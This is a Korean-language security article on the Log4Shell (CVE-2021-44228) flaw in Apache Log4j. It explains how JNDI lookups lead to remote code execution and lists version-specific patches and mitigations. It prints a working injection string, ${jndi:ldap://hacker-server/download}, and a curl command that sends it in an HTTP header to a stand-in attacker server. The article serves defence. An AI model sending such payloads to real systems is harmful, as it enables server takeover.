Log4shell 취약점의 JNDI 악용 경로와 대응
CVE-2021-44228 Log4shell의 JNDI 악용 구조와 Log4j 버전별 완화 조치, 탐지·패치 대응 방안을 정리한다.
2026-08-14 · 최초 발행 2025-06-28
로그 문자열이 외부 조회로 이어지는 문제
Log4shell(CVE-2021-44228)은 2021년 말 발견된 Apache Log4j 로깅 라이브러리의 치명적인 취약점이다. 원격 코드 실행(RCE)을 허용할 수 있어 공격자가 대상 시스템에 접근하고 완전한 제어권을 얻는 경로가 된다.
Log4j는 Java 애플리케이션에 널리 쓰인다. CVSS 최고 점수인 10점의 심각도를 받았고, 사전 인증 없이도 악용될 수 있어 기업 시스템, 클라우드 서비스, 엔터프라이즈 소프트웨어 전반에 영향을 미쳤다.
사용자 입력이 JNDI 조회로 처리되는 과정
문제의 출발점은 Log4j의 JNDI(Java Naming and Directory Interface) 기능 처리다. 이 기능은 로그에 포함된 사용자 ID 같은 정보를 LDAP 서버 등의 디렉터리 서비스에서 조회해 변환하기 위해 설계됐다.
애플리케이션이 사용자 입력을 로그에 기록하는 상황을 생각해볼 수 있다.
log.info("Request User Agent: {}", request.getHeader("X-Api-Version"));
공격자는 X-Api-Version 같은 입력 필드에 다음 문자열을 넣는다.
${jndi:ldap://hacker-server/download}
Log4j가 이 문자열을 처리하면 JNDI 룩업이 실행되고, 공격자가 제어하는 서버로의 연결이 시도된다. 해당 서버가 악성 Java 클래스를 제공하면 취약한 시스템이 이를 로드·실행할 수 있으며, 이후 공격자는 시스템 접근 권한을 획득하게 된다.
요청 헤더만으로 시작될 수 있는 침해
공격은 다음과 같이 HTTP 헤더에 악성 문자열을 넣는 방식으로 시도될 수 있다.
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://hacker-server/download}'
이 요청이 처리되면 공격자의 LDAP 서버 연결, 악성 코드 다운로드, 대상 시스템에서의 코드 실행으로 이어질 수 있다.
문제가 위험한 이유는 Log4j의 사용 범위가 넓고, 기술적 지식이 부족한 공격자도 악용하기 쉽다는 데 있다. 공격이 성공하면 시스템 전체가 장악될 수 있으며, 로그 시스템 자체가 손상되면 침해 시도 탐지도 어려워진다.
버전별 완화 조치와 패치
우선순위는 Log4j를 안전한 버전으로 올리는 것이다. Log4j 2.15.0 이상으로 업데이트해야 하며, 이후 발견된 추가 취약점 때문에 2.17.0 이상이 권장된다.
# Maven 프로젝트의 경우
mvn dependency:list | grep log4j
# 의존성 업데이트
즉시 업데이트할 수 없는 경우에는 대상 버전에 맞는 임시 조치가 필요하다. Log4j 2.10.0~2.15.0에서는 Lookup 기능을 비활성화할 수 있다.
JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true
또는 환경 변수로 설정한다.
LOG4J_FORMAT_MSG_NO_LOOKUPS=true
더 오래된 2.0-beta9~2.10.0 환경에서는 log4j-core JAR에서 JndiLookup.class를 직접 제거하는 방법이 있다.
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
패치 여부와 별개로 의심스러운 외부 연결을 네트워크 트래픽에서 감시하고, WAF 규칙으로 ${jndi: 패턴을 차단해야 한다. 로그 분석 시스템과 IDS/IPS의 탐지 패턴도 함께 갱신한다.
의존성과 침해 확산을 함께 관리하기
Log4shell은 오픈소스 컴포넌트의 광범위한 사용이 곧 공급망 위험으로 연결될 수 있음을 보여준다. 사용 중인 라이브러리를 정기적으로 검토하고 업데이트하는 체계가 필요하다.
애플리케이션 권한은 필요한 수준으로 제한하고, 중요 시스템은 네트워크 세그멘테이션으로 분리해야 한다. 모든 사용자 입력을 엄격하게 검증하며, 비정상 활동을 지속적으로 모니터링하는 운영 체계도 요구된다. 중요 취약점이 발견됐을 때 신속하게 패치를 적용할 수 있는 절차를 갖추는 일이 대응의 기반이다.